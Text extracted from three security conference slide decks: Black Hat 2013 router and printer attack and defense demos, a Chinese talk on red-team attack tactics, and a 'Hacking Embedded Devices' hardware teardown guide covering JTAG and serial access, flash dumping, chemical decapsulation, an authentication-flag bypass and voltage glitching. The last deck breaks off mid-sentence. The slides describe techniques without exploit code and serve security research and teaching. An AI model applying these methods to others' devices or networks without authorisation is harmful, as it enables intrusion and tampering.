Offense Demo The barnaby command makes multiple writes to the 2821 router. It makes the check password function always return success and overwrites the ‘show version’ string. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Enable secret bypassed. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Barnaby Jack’s face in ‘show version’ output. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Enable bypass and Barns on the 1841 router. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Results of making printer DOS router. CPU goes to 99% utilization. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 DefenseDemo 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Defense Konsole. All Symbiote protected targets reporting that they are secure. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Cisco 7961 exploit launched. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Symbiote detects change in static region of memory. Reported checksum changes and phone state now reports that it has been exploited. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo ‘show cdp neighbor’ modified to change router memory, simulating exploit. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Symbiote detects 2821 router exploit. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Similar simulated attack on the 1841 router. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Symbiote detects 1841 router exploit. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense Demo Using the printer command and control write command to change printer memory. Symbiote detects the exploit. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 More About Software Symbiote Technology [www.redballoonsecurity.com] 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013
pdf
攻防演练中的攻击战术演进 长亭科技 崔勤 变化与机会 甲 方 乙 方 监管 实 战 “实战”标准下的安全效果更真实 1. 结果导向,不限制手法。 2. 攻防两端深度参与,不再仅仅是一份检测报告,体验感更足。 3. 低危漏洞?安全意识不重要? 实战标准的特点 乙 方 实 战 攻防演练 攻防演练是“实战”视角下最佳验证手段之 一 攻防演练(红队) 1. 能力象限 2. 框架的演进 3. 决策及思考,攻击战术 攻防演练(框架演进) 以为人为核心到组织矩阵 攻防演练(框架的演进) • 范围 • 速度 • 内容 • 影响范围 • 利用程度 • 自动化程度 • 隐蔽性 • 对抗能力 攻防演练(决策及思考) 初始信息收集 初始入侵 站稳脚跟 提升权限 内部信息收集 完成目标 横向移动 维持权限 1. 信息 是APT攻击的第一生产力,贯穿APT攻击的整个生命周期,优秀的情报能力可以令攻击事半功倍;; 2. 漏洞 是撕开防线的武器,需要依靠信息精确制导; 3. 工具 是潜伏敌线、刺探情报的间谍:主要包括远控,日志、流量、密码窃取等后渗透工具。 核心要素 战术总结及思考 - 高效的信息收集(自动化) 01 02 03 04 搜 集 资 产 , IP 、 域 名 、 人 员信息等; 对资产进行跟 踪,针对临时 新增资产,辅 助进行蜜罐识 别; 识别资产指纹 ( cms 、 第 三 方系统、组件 中间件等), 以便进行漏洞 利用; 围绕特定人员 搜集信息,以 供社工钓鱼; 05 理解业务,了 解并选择潜在 的攻击路径。 战术总结及思考 - 应用漏洞 vs 基础设施漏洞 应用漏洞 基础设施漏洞 优势 开发成本较低 利用效果好 劣势 维护成本高,利用程度差异大 开发成本高 使用范围 互联网扫描阶段 内网重灾区 通用应用软件(OA、MAIL) 降维打击 战术总结及思考 - 供应链安全 1. 外包(驻场)对客户人员架构不熟悉导致被钓鱼。 2. 同一外包开发写出相似漏洞(更可怕的逻辑漏洞)。 3. 软硬件产品(VPN、虚拟化平台、堡垒机、OA、邮箱等)。 4. 网络(专线)与合作方打通。 5. 供应商的开发依赖存在安全隐患。 战术总结及思考 - 安全厂商对抗 安全/运维/监控设备: Ø 提前储备相关0Day或1day,可供内网横纵向扩展利用; Ø 一般以server端控agent端,或者先从agent打到server,再打其他 agent的形式; Ø 安全设备不安全。 战术总结及思考 - 有效权限 攻防演练-展望 攻防演练中的某些问题或环节可能会演变成产品,进一步提升普适度,覆盖越来越多的客户,提 高整体安全水平。
pdf
Hacking  Embedded  Devices (Doing  Bad  Things  to  Good Hardware) About  your  hosts… •  Phorkus  has  been  breaking  things  since  he was  5  years  old. – SomeDmes  with  a  hammer,  someDmes  a  soldering iron. •  EvilRob  has  been  causing  mayhem  and devastaDng  electronics  since  before  he  met beer. – Beer  good.  Fire  bad. Before  We  Get  Started •  We’d  like  to  thank  some  of  the  people  who’s work  helped  us  make  this  possible –  Joe  Grand  (You  should  all  know  him  from  TV) –  Emerson  Tan  (The  wonders  of  methylene  chloride) –  Flylogic’s  silicon  device  aOacks  ( hOp://www.flylogic.net/blog/) –  Everyone  who’s  ever  screwed  with  an  Arduino,  AVR, ARM,  MIPS,  etc. –  Finally  to  our  families  who  gave  us  support  as  we liOered  our  houses  with  archaic  electronics Why  We’re  Here. •  We’ll  present  a  series  of  steps  to  help  you evaluate  a  device  for  possible  security  holes. •  We’re  trying  to  get  a  series  of  repeatable  tasks that  will  allow  you  to  begin  the  hardware  and soUware  evaluaDon •  We’ll  be  standing  up  a  site  open  to  the community  to  be  used  to  share  informaDon on  devices  that  people  are  working  on cracking GeVng  Down  To  Business •  You’ll  need  a  few  key  pieces  of  physical  equipment  and  soUware  tools •  Most  of  these  items  are  not  expensive  and  can  be  acquired  for  $500-­‐ $1000 •  A  few  of  the  big  items  (we’ll  cover  these  in  detail) –  Your  Brain –  A  Voltmeter –  Surface  Mount  Soldering/Hot  Air  Rework  StaDon –  Soldering  Stuffs –  Magnifying  Glass –  Microscope –  Bus  Pirate –  Spare  Parts –  Debugging  Interfaces –  IDA  Pro Your  Brain •  Remember  SAFETY  SAFETY  SAFETY •  Electricity  can  kill  and  maim  and  kill •  Always  be  aware  of  your  surroundings  when soldering •  Wear  safety  glasses •  Don’t  die A  Voltmeter •  Absolutely  needed  to  do  circuit  probing •  Used  to  test  various  parts  for  electrical  resistance •  Needed  to  test  the  circuit  voltage  so  you  don’t  destroy your  Bus  Pirate •  Check  diode  conducDvity •  USB  Volt  Meters  are  great  for  recording  directly  to your  computer •  Volt  Meters  can  go  from  very  cheap  all  the  way  into the  high  hundreds  (Fluke) •  We’ll  be  using  a  $60  USB  model  from  SparkFun Electronics Surface  Mount  Soldering/Hot  Air Rework •  Can  be  bought  on  Amazon  for  ~$160  for  a decent  model •  Extremely  good  for  removing  surface  mount components  without  destroying  your  board Soldering  Elements •  We’ll  need  some  of  these  items  to  add and  remove  components  to  the  board •  Solder  wick  (used  to  remove  solder) •  Insulated  tweezers  or  micro-­‐forceps •  Solder •  Flux •  Chip  puller Magnifying  Glass •  Go  to  amazon,  they  can  be  found  cheaply there •  We’re  using  a  rather  expensive  one  (~$180), but  they  can  be  super  cheap  and  effecDve •  The  higher  power,  the  beOer •  Make  sure  it’s  got  a  light •  Pro-­‐Dp:  Get  some  Rain-­‐x  or  anD-­‐fog  spray  so you  won’t  fog  up  your  glass  when  you  end  up breathing  on  it USB  Microscope •  Used  for  all  kinds  of  micro  examinaDon •  Some  things  we’ll  use  it  for – Examining  contacts  for  broken  solder – Chip  numbers  (very  important) – Board  traces – Anything  else  we  find  on  our  desk  when  we  get board A  Bus  Pirate •  No,  not  that  kind  of  pirate •  Used  to  read  and  wire  to  almost  every  raw  “bus protocol”  (almost) •  Very  gentle  learning  curve •  Not  the  best  for  scripDng  for  things  we  like  to  do such  as  dumping  SPI  flash  or  I2C  in  an  automated way. •  Very  acDve  community •  Go  get  one  ( hOps://www.sparkfun.com/products/9544) Spare  Parts •  eBay  is  great  for  spare  parts.  Search  for “sample  packs”  that  contain  resistors, capacitors,  inductors,  diodes,  LEDs,  etc. •  Spare  parts  are  needed  to  replace  blown  one. You  will  at  some  point  wreck  one  (or  more)  of these  on  a  board •  An  example  of  the  way  we’ll  use  these – Using  a  resistor  to  De  a  pin  to  ground  or  VCC  to change  signals  on  chips PARTS! Debugging  Interfaces •  If  the  device  you’re  tesDng  does  not  have  a JTAG  (Joint  Test  AcDon  Group)  interface,  we can  put  one  on •  A  good  debugging  set  will  contain – JTAGs – A  BDM  (Background  Debugger  Mode  Interface) – ISP  (In-­‐System  Programming)  Device •  We  will  use  all  these  in  various  ways  to  access the  device  soUware/firmware IDA  Pro •  Totally  worth  it,  single  best  way  to  disassemble and  analyze  soUware •  Turns  the  compiled  code  into  “C  like”  code  for analysis •  Downside,  bit  on  the  expensive  side •  Hex-­‐Rays  also  have  x86  32bit  and  ARM decompilers. •  IDA  ( hOps://www.hex-­‐rays.com/products/ida/ index.shtml) IDA  Easy  /  Hex  Editor  Hard Define  The  Device •  What  is  its  markeDng  name? •  Is  it  a  third  party  device  (i.e.  cable  modem)? •  Does  it  have  a  non-­‐obvious  name? •  Does  it  have  a  part  number  from  the manufacture? •  Does  it  have  an  FCC  ID? MarkeDng  Name •  The  OEM  Process  introduces  a  lot  of  hardware out  there  that’s  actually  commodity. – A  large  number  of  PC  based  “secure  appliances” are  rebranded  Intel  servers. •  EMC  devices •  Sun’s  V20  and  V40  lines •  RSA  Appliances Third-­‐Party  Devices •  Did  someone  give  it  to  you  or  your  company? Non-­‐Obvious  Names  and  Knockoffs •  Wonderful  Chinese  knock  offs  like: – The  HiPhone  or  the  APhone  A6  (Running  Android Jelly  Bean) Manufactures  Part  Numbers Board  Markings •  TBD FCC  IDs •  FCC  IDs  are  required  for  almost  all  modern electronic  devices •  This  is  caused  by  the  RF  emission  they  “might” have  during  operaDon •  They  will  always  have  them  if  they  have  a radio  transmiOer FCC  IDs  Cont’d •  We  can  find  the  ID  in  a  nice  database  ( hOp://transiDon.fcc.gov/oet/ea/fccid/) •  FCC  IDs  have  2  parts –  The  Grantee  Code  (first  three  leOers) –  Product  Code  (the  rest) •  Example:  iPad  mini  with  FCC  ID  BCGA1455 –  If  we  search  for  it  we  get  26  results –  Click  the  detail  of  the  top  entry  and  get  all  the  filing  documents –  Chose  Internal  2  (we  just  like  it) –  See  the  preOy  insides –  We  can  get  all  kinds  of  stuff  in  these  documents  like  user manuals  and  more  diagrams/drawings FCC  IDs  Part  15…  Err  3. No  Board  Numbers!?! •  Remember  that  chips  don’t  lie  (normally) •  Catalog  the  chips  on  the  board  (take  lots  of photos) •  Lots  of  “custom”  chips  come  from  excess  and end  up  on  eBay  or  chip  wholesalers •  An  example  would  be  a  device  labeled “Spansion”  has  a  high  chance  of  being  a  NAND flash  EEPROM  device How  To  Get  Chip  InformaDon •  Most  chip  manufactures  will  “private  market” parts  that  are  very  close  to  their  public  market chips – Marvell,  for  example,  makes  a  large  number  of silicon  devices  for  Seagate,  Western  Digital,  and Samsung – These  “private  chips”  are  usually  embedded  ARM processors  with  addiDonal  parts  like  memory  IO peripherals  (Marvell  uses  an  88i  prefix  code  for these  a  lot  of  these  chips) How  To  Get  Chip  InformaDon  Cont’d •  You  can  oUen  derive  informaDon  about  a  given chip  from  similar  chips  by  the  manufacture –  Remember  all  chip  manufactures  have  a  NRE  cost  to their  chips,  so  the  more  they  can  reuse  designs  the beOer –  You  can  get  things  like  the  locaDon  of  JTAG  or  BDM ports,  pins  to  apply  voltage  to,  addressing,  data,  bus connecDons,  etc. –  We  can  also  make  some  educated  guesses  about whether  a  chip  might  be  a  SPI  Flash  or  I2C  EEPROM device How  To  Get  Chip  InformaDon  Cont’d •  You  can  get  all  kinds  of  informaDon  from public  sources – Google  (who  doesn’t  use  Google?) – Mouser – DigiKey – Manufactures  website – Call  the  manufacture,  sales  people  love  to  talk, use  those  fabulous  social  engineering  skills! How  To  Get  Chip  InformaDon  Cont’d •  Ways  to  idenDfy  a  component – Look  for  logos  (used  to  save  space) – Lookup  visual  chip  directories •  hOp://how-­‐to.wikia.com/wiki/ Howto_idenDfy_integrated_circuit_(chip)_manufacture rs_by_their_logos/all_logos •  h"p://www.advanced-­‐tech.com/ic_logos/ic_logos.htm How  To  Get  Chip  InformaDon  Cont’d •  SDll  can’t  find  anything? – You’re  screwed  (just  kidding,  mostly) •  We  can  sDll  succeed – Examine  all  the  board  components – Look  for  the  power  feed,  trace  it  to  the  PMIC (power  regulaDon  components) – IdenDfy  the  ground  plane,  this  will  help  idenDfy chips  by  pin  out Common  Layout  Components •  SPI  chips  are  laid  out  like  this: •  I2C  chips  are  laid  out  like  this: NoDce  anything  odd  about  them? – SPI  and  I2C  can  be  idenDfied  by  the  posiDon  of  the VSS  (ground)  and  VCC/VDD  (posiDve)  in  most cases – Pin  4  and  8  are  Ground  and  VCC. – If  the  chip  has  a  write  protecDon  Ded  to  the  Vcc through  a  4.7k  Ohm  resistor  it’s  most  likely  a  SPI flash  ROM •  Why? •  Because  it  keeps  the  chip  writable  by  the  soUware  for firmware  updates. How  To  Get  Chip  InformaDon  Fin •  You  should  now  have  enough  info  to  esDmate  if  the device  is: –  A  power  conservaDon  system –  A  fully  funcDonal  computer –  A  IO  sub-­‐processor  from  a  VAX –  Mystery  meat •  Also  remember  to  take  the  date  into  consideraDon –  When  did  the  chip  arrive  on  market –  Is  it  out  of  producDon  now –  Does  it  have  known  weaknesses  (clock  glitching,  power glitching,  differenDal  current  draw  analysis,  other  side-­‐ channel  aOacks,  etc.) Bring  On  The  AOack  -­‐  Physical •  Epoxy  Removal  101  (I  hate  that  stuff) –  Epoxy  is: •  An  adhesive,  plasDc,  paint,  or  other  stuff  made  from  a  class  of  syntheDc thermoseVng  polymers  containing  epoxide  groups –  What  does  this  mean  for  us: •  This  stuff  is  a  pain  to  remove  aUer  it  dries •  It  could  contain  some  dangerous  chemical •  We  use  polyfuncDonal  amines,  acids,  acid  anhydidres,  phenols,  alcohals,  and thiols  to  remove  various  epoxies.  DON’T  TRY  THIS  AT  HOME. –  SAFETY  TIPS: •  Do  this  ONLY  in  a  well-­‐venDlated  area. •  Do  this  ONLY  someplace  fireproof. •  Do  this  ONLY  on  a  TEST  DEVICE,  not  the  one  you  need  to  get  the  info  from •  Do  this  with  a  buddy •  Use  a  respirator  (hard  to  see,  but  good  not  to  die) •  Be  aware  of  any  DMCA  violaDons  you  may  be  running  afoul  of Bring  On  The  AOack  -­‐  Physical •  Heat  Removal –  The  simplest  way  to  remove  epoxy –  Heat  removal  relies  on  two  principles •  Thermal  differenDal  to  cause  micro-­‐fracturing  between  the board  the  epoxy •  Most  bonding  agents  will  relax  their  homopolymerisaDon bonds  between  200-­‐500  degrees  CenDgrade,  which  will allow  us  to  slice  them  away –  The  heat  technique  can  be  used  on  metal-­‐ impregnated  epoxies,  as  well,  but  may  require  a  much higher  temperature,  and  destroy  what  you’re  working to  get  at. Bring  On  The  AOack  -­‐  Physical •  Heat  removal  prerequisites –  More  venDlaDon –  A  hot  air  source  (Hot  air  rework  staDon) –  A  buddy  (to  pull  you  off  a  burning  board) –  A  very  sharp  Xacto  knife  with  a  heat  resistant  handle and  a  small  blade –  A  very  sharp  Xacto  knife  with  a  heat  resistant  handle and  a  large  blade •  We  use  several  to  allow  the  hot  ones  to  cool  as  we  keep cuVng –  A  magnificaDon  staDon  (read  what  we  were  talking about  earlier) Bring  On  The  AOack  -­‐  Physical •  Heat  Removal  Demo  Video •  The  Venue  is  a  liOle  funny  about  chemical experiments  on  their  property. Bring  On  The  AOack  -­‐  Physical •  What  if  the  device  coms  encapsulated  in  an  unusual form  factor? •  Cards –  Circuit  cards  and  Laminate  Layer  Removal •  This  technique  was  shown  by  Emerson  Tan  and  Co. –  Methylene  Chloride  Card  Facing  Technique •  This  technique  is  appropriate  for  plasDc  coated  cards,  which  use  a flexible  layer  circuit  material  to  put  traces  on,  but  coat  it  with  a laminated  layer  of  plasDc  over  that  circuit  “board”  material. •  The  technique  works  by  way  of  dissolving  the  bonds  between  the organic  molecules  in  the  plasDc. •  It  will  cause  the  card’s  outer  plasDc  layers  to  slough  off,  hopefully leaving  the  insides  in-­‐tact. Bring  On  The  AOack  -­‐  Physical •  Obtaining  Concentrated  Methylene  Chloride –  Methylene  Chloride  is  a  compound  found  in  a  large  number  of household  compounds  in  trace  amounts. •  Things  like  floor  refinishing  gel  are  a  good  bet  for  low  density  Methylene Chloride. •  How  you  disDll  it  is  beyond  the  scope  of  this  discussion,  and  due  to  liability  I’m not  going  to  cover  it. –  We  will  say,  if  you  figure  out  how,  do  it  outside  and  be  very  careful. Talk  to  a  chemist,  not  the  Internet. –  You  can  also  order  it  online. –  Safety  PrecauDons •  Be  sure  to  use  Nitrile  gloves  to  the  elbow,  and  a  metal  pan! •  Nitrile  is  non-­‐reacDve  with  Methylene  Chloride. •  Metal  is  non-­‐reacDve  with  Methylene  Chloride.  (Non-­‐alkali  metals,  like stainless  steel,  or  aluminum  really.) •  DON’T  DO  THIS  AT  HOME! •  DO  NOT  DRINK,  OR  PAINT  ON  ANIMALS! Bring  On  The  AOack  -­‐  Physical •  Back  to  the  fun! •  Removing  the  card’s  outer  layers: – In  order  to  remove  the  cards  outer  layers,  steep the  card  in  the  gel. – Depending  on  how  concentrated  the  methylene chloride  is,  and  what  the  ambient  temperature  is, it  will  take  between  5  and  30  minutes  to  dissolve the  outer  layers  on  the  card. Bring  On  The  AOack  -­‐  Physical •  Our  vicDm  before: – PayPal  OTP  (One  Time  Password)  Card – SDll  has  a  case  on  it – We  don’t  like  that Bring  On  The  AOack  -­‐  Physical •  Our  vicDm  aUer  the  bath: – NoDce  the  difference?  It’s  cute  Neekid. – NoDce  the  board  design – NoDce  the connectors – The  Silver  Foil patch  is  the baOery. Bring  On  The  AOack  -­‐  Physical •  Now  let’s  look  at  the  back. •  NoDce  the  three  liOle  contacts?  Ground,  TX, and  RX  of  some  sort! Bring  On  The  AOack  -­‐  Physical •  AddiDonal  physical  protecDons: –  Welded  devices •  Acid  etching •  Grinder •  Drilling  (precision  drill) •  Freakin’  LASERS. –  Security  Screws •  You  can  get  about  any  bit  you  need  from  eBay! •  Usually  cheap  and  good  to  have  around –  Evil  PlasDc  Latches •  SomeDmes  access  deterrents  can  hurt  you •  Mostly  your  own  fault,  very  easy  to  slice  yourself  opening  these •  Builder  Dp:  ABS  high  surface  area-­‐interlocks  are  a  pain  to  open •  These  latches  can  be  strong  enough  that  you  could  damage  the  board  if  you’re not  careful Bring  On  The  AOack  -­‐  Physical •  Electrical  Intrusion  Sensors –  Carefully  examine  the  case –  Look  for  points  to  drill  to  expose  the  sensor  wires –  Can  the  wires  be  hook  and  dragged  outside  the  case? –  Do  you  know  if  the  intrusion  sensor  is  passive  or acDve? –  Could  there  be  magneDc  sensors?  How  to  tell  safely? •  Coiled  wire  hooked  to  a  volt  meter  is  one  way.  Not  a  good way,  but  a  way. •  A  Gauss  meter  (Magnometer)  is  a  good  way. •  iPhones  have  one  called  a  “Hall  Effect  Sensor”.  It’s  the Compass! Could  the  device  be  booby-­‐trapped? •  XRAY  and  light  sensors •  Nitrogen  filled  cases •  Case  contact  wires  to  detect  opening •  These  are  usually  a  military  grade  problem •  If  the  thing  is  serious  hardware,  it  might  blow  up. Really.  Watch  out  for  that  kind  of  stuff. –  I  wouldn’t  put  it  beyond  the  .mil  to  put  a  brick  of  C4  in  a crypto  device. Bring  On  The  AOack  -­‐  Physical •  Other  Device  Access  Avenues – Does  the  device  have  a  front  panel  (maybe  an LCD)  that  has  access  to  an  internal  bus? •  I2C  or  SPI  for  example? •  Could  be  aOached  to  the  same  bus  as  the  startup  flash! – MiTM  on  devices  that  authenDcate  or  download configs  from  a  standard  network – Hold  down  buOon  on  boot  or  mode  change  to access  special  debug  features – Special  file  name  on  a  USB  sDck,  etc. Bring  On  The  AOack  -­‐  Physical •  Some  final  thoughts  on  physical  access: – Physical  access  always  wins – All  physical  protecDons  will  fall  in  Dme – Be  aware  that  when  you’re  evaluaDng  you’ll  most likely  need  a  couple  “donor”  devices  that  will  be destroyed. •  Most  “secure”  devices  get  destroyed  at  least  once  J Bring  On  The  AOack  –  Provisioning •  Things  we’ll  cover  under  the  provisioning secDon: – How  provisioning  works – How  devices  are  provisioned  and  managed – Connectors – Debugging  Ports Bring  On  The  AOack  –  Provisioning •  What  is  provisioning: –  Provisioning  is  the  process  by  which  a  raw  (un-­‐ programmed)  device  is  made  ready  for  operaDon –  Most  devices  need  to  be  provisioned,  because  the device  and  soUware  are  built  as  separate  units •  Every  consumer  device  usually  has  a  provisioning mechanism •  Most  devices  are  a  Factory  or  a  Field  provisioned device –  Important  to  understand  the  difference,  because  their methods  are  different •  IdenDfying  common  connectors  for provisioning: – The  Mictor  from  Agilent •  Pic •  Why  you  will  hate  this  connector: –  $$$ –  Tiny  pins,  hard  to  solder –  Designed  for  large  shops •  Why  you  will  love  it: –  Impedance  matched  with  ground  plane –  One  connector  to  rule  them  all Bring  On  The  AOack  –  Provisioning Bring  On  The  AOack  –  Provisioning •  The  ARM  standard  JTAG Bring  On  The  AOack  –  Provisioning •  The  MIPS  eJTAG Bring  On  The  AOack  –  Provisioning •  The  Xilinx  JTAG Bring  On  The  AOack  –  Provisioning •  MSP430  JTAG Bring  On  The  AOack  –  Provisioning •  Motorola  /  Freescale  BDM  (Background Debugging  Module) – 6  pin – 26  pin Bring  On  The  AOack  –  Provisioning •  The  “common”  10  pin  JTAG •  How  common  is  common? •  A  very  subjecDve  quesDon  and  it  depends  on what  you’re  asked  to  analyze. Bring  On  The  AOack  –  Provisioning •  The  Motorola  PPC  JTAG – Extremely  common  in  a  lot  of  embedded  devices Bring  On  The  AOack  –  Provisioning •  Others  we’ll  not  specifically  cover: –  LaVce  ISPDOWNLOAD  (JTAG  and  ISP)  8  and  10  pin –  IBM  RISCWatch  16-­‐pin –  Motorola  “ONCE”  On  Chip  EmulaDon  14  pin  (JTAG) –  Philips  MIPS  JTAG  20-­‐pin –  ST  FlashLink  14  pin –  Xilinx  9  pin  (Serial  Slave  and  JTAG) –  Check  out  thist  site  for  some  decent  informaDon  onall of  these. hOp://www.jtagtest.com/pinouts/ Bring  On  The  AOack  –  Provisioning •  Our  all-­‐Dme  favorite:  TTL  Serial –  Three  pins,  oUen  Ded  to  on  chip  boot  loaders,  debuggers, and  things  the  manufacture  would  hate  you  to  get  ahold of –  Pro  Tips: •  TTL  serial  mean  Transistor-­‐to-­‐Transistor  Level  Serial •  This  operates  at  between  3.3  and  5.0  volts  (0-­‐VCC  technically)  for logic  signaling  in  most  cases •  This  is  not  the  serial  port  on  a  computer  (That’s  RS-­‐232  serial  port) •  This  will  destroy  the  chip  if  you  aOempt  to  aOach  it  to  the  RS-­‐232 •  Buy  an  adaptor  on  Amazon,  search  for  FTDI  or  SILABS  Chip,  which have  manufactures  reference  drivers  available •  Don’t  install  the  drive  that  comes  with  the  board  unless  it’s  signed •  “Cavet  Emptor” Examples  of  TTL  Serial Yes,  that’s  a  hard  drive! This  unit  supports  Transmit  (TX),  Receive  (RX), Reset  (RST),  5  Volts+  (VCC5),  3.3  Volts+ (VCC33),  and  Ground  (GND). These  are  easy  to  find  on  eBay  or  Amazon  and are  extremely  useful  to  have  around! Examples  of  TTL  Serial (Wireless  Access  Points  have  it  J) Bring  On  The  AOack  –  Provisioning •  Edge  Card  Connectors – Some  manufactures  will  use  a  card  edge technique  to  provision – This  is  dependent  on  where  it’s  being  provisioned in  a  lot  of  cases. •  The  edge  card  connector  makes  it  possible  for  unskilled labor  to  provision  these  at  a  domesDc  locaDon. •  SomeDmes  done  if  soUware  isn’t  complete  by  the  Dme hardware’s  to  manufacture. •  SomeDmes  no  good  reason  at  all  … Close-­‐up  of  Edge  Card  Provisioning  Adapter. –  Credit: •  Credit  for this  to  “asbokid”. •  h"p://hackingbtbusinesshub.wordpress.com/2012/01/16/discovering-­‐2wire-­‐ card-­‐edge-­‐pinout-­‐for-­‐jtag-­‐i2c/ Bring  On  The  AOack  –  Provisioning •  A  quick  demo  of  using  TTL  serial  for communicaDon  to  a  Bluetooth  Board  or  Hard drive. – Live  Demo  Goes  Here  J – Who  wants  to  try  to  associate  with  the  Bluetooth slave  node  here?  Any  takers  J? Debugging  Ports •  Remember  that  chip  inventory  we  were  talking about? •  Let’s  look  at  an  example,  which  type  of debugging  port  do  you  see? –  JTAG –  BDM –  ISP –  SPI –  I2C –  CAN –  NAND  flash Debugging  Ports •  JTAG  Port  IdenDficaDon – What’s  JTAG: •  JTAG  is  the  “Joint  Test  AcDon  Group”  standard  for circuit  level  debugging. – What  can  JTAG  do: •  Manipulate  individual  pins  on  components •  Change  component  state •  Alter  flash  memory •  Has  access  to  many  debug  uDliDes Debugging  Ports •  JTAG  allows  control  of  all  devices  on  the  JTAG  bus –  Usually  seen  aOached  to  the  SPI  bus –  Pic •  JTAG  and  access  to  Flash –  JTAG  controls  individual  chip  lines  on  devices. –  If  there  is  a  flash  chip  aOached  to  a  chip  with  JTAG  (like  a  NAND  Flash) chip,  you  CAN  get  the  contents  of  that  chip –  There’s  tools  that  make  it  easy •  hOp://www.topjtag.com/flash-­‐programmer/ •  JTAG  the  easy  way –  TopJTAG  Probe •  hOp://www.topjtag.com/probe/ •  Pic –  What  can  we  do  with  it? Debugging  Ports •  Get  out  that  Voltmeter!  We’re  going  to idenDfy  the  TSC  (Test  Clock)  and  TMS  (Test Mode  Select) – They’re  both  aOached  to  all  chips  with  JTAG  on them  and  do  not  get  buffered  in  most  cases – Look  for  public  data  sheets  which  should  allow you  to  easily  idenDfy  the  TDO  and  TDI  lines – Probe  the  TDI/TDO  pin  on  each  device,  and  run through  the  provisioning  connector  to  see  where you  get  a  BEEEEEEPPPPPP! Debugging  Ports •  2-­‐wire  Unit  Demo  idenDfying  SPI  or  I2C provisioning  and  JTAG  connector. Debugging  Ports •  Other  Debugging  Interfaces –  Almost  all  the  debugging  interfaces  we’ve  shown  are  sDll in  use –  BDM  is  extremely  common  in  Freescale  based  devices •  Like  Joe  Grand’s  DEF  CON  badges •  Also  show  up  in  SONNET  gear –  Sonnet  controller –  ISP •  People  love  to  pick  on  ISP •  ATmel  used  it  on  all  it’s  8-­‐bit  Micro  AVR  line  (Arduino  too) •  Demo –  Tons  more  debug  interfaces  that  we  don’t  have  Dme  to cover  J Debugging  Ports •  A  note  on  Side  Channel  AOacks – Are  any  of  the  components  in  the  device suscepDble  to  the  side-­‐channel  aOacks  we’ve menDoned? •  Power  consumpDon  analysis •  Protocol  weaknesses •  Poorly  iniDalized  random  number  generator •  Timing  Analysis •  DifferenDal  Fault  Analysis •  Data  Remnant  (hat  Dp  to  Major’s  work  on  the AT91SAM7XC) Debugging  Ports •  BeaDng  the  Hardware  Provisioning  Interface Drum  with  KingPin. •  In  another  talk  here: – Introduced  a  device  called  JTAGulator,  makes  it much  easier  to  locate  JTAG  ports – KingPin  has  advocated  securing  JTAG  ports  for years – People  should  listen  to  this  guy,  he’s  really  smart. – Full  props  to  him  on  all  his  hardware  work SoUware  AOacks •  SoUware  is  usually  the  weakest  link –  “If  civil  engineers  built  bridges  like  soUware  engineers  build programs,  they’d  all  fall  down”  –  Unknown –  If  you’re  going  aUer  crypto,  always  go  aUer  the  implementaDon, not  the  cryptography  itself.  –a  drunk  Bruce  Scheneier  at  a  DC party  years  ago. •  SoUware  can  be  defeated –  The  soUware  has  ulDmate  control  over  the  hardware –  SoUware  can  be  analyzed  to  determine  the  exact  purpose  and funcDons  of  the  hardware  you’re  analyzing –  Our  best  opportunity  for  compromise  is  where  soUware  and hardware  meet –  Most  soUware  is  test  under  “ideal”  condiDons –  The  designer  can  never  truly  test  their  own  design SoUware  AOacks •  An  example  of  state  dependency  for  operaDon –  This  device  was  used  to  meter  the  consumpDon  of  a  commodity. –  The  device  used  infrared  to  communicate  with  the  metering authority’s  data  collecDon  device. –  By  analyzing  the  protocol,  it  became  evident  that  certain  commands were  being  issued  post  authenDcaDon,  while  others  weren’t. –  The  structure  was  fairly  simple  (packeDzed  bytes  with  a  counter,  type of  packet,  flags,  and  the  payload). –  One  of  the  flags  was  set  only  post  authenDcaDon. –  By  changing  the  packet  type  to  something  different  and  seVng  the “authenDcate  bit”  ,  the  security  challenge  response  was  defeated! –  How  silly  is  that?!?! –  This  is  a  common  occurrence  in  embedded  devices.  Why? •  No  one  bothers  to  look •  SoUware  is  oUen  rushed •  LocaDng  the  soUware  the  controls  a  device  by  physical analysis: –  Examine  the  traces  around  the  components  of  the  device –  Are  any  of  the  components  connected  in  a  way  that directly  indicates  what  processor  it  is  (ARM,  PIC,  Atmega, etc.),  such  as  a  direct  connecDon  to  small  form  factor  flash memory  (like  an  SOIC8) –  Do  the  chip  numbers  indicate  that  some  the  components are  SPI  flash  (Dead  giveaway) –  Are  some  of  the  components  socketed? •  Careful.  Some  devices  will  drop  the  contents  of  SRAM  (Like encrypDon  keys)  if  the  chip  is  unsocketed SoUware  AOacks SoUware  AOacks •  What  if  there  are  no  externally  visible methods  for  storing  soUware  or  configuraDon data? – Some  devices  hold  all  the  needed  soUware  on  the main  processing  component  itself – This  means  that  there  is  a  way  to  get  the  soUware through  a  debug  connector – Some  devices  have  a  mask  ROM  boot  loader  that allows  upload  of  program  code  over  serial •  Terrible  for  security SoUware  AOacks •  What  is  a  fuse? –  A  fuse  is  a  piece  of  the  hardware  that  is  burnt  in  order  to  prevent  download  of the  program  code  from  the  chip •  What  if  I  find  a  “fuse”  on  the  device? •  There  are  ways  around  it,  as  usual –  The  most  common  is  voltage  glitching.  This  involves  Dming  a  drop  in  voltage precisely  such  that  the  chip  believes  it  reads  a  0  instead  of  a  1 – 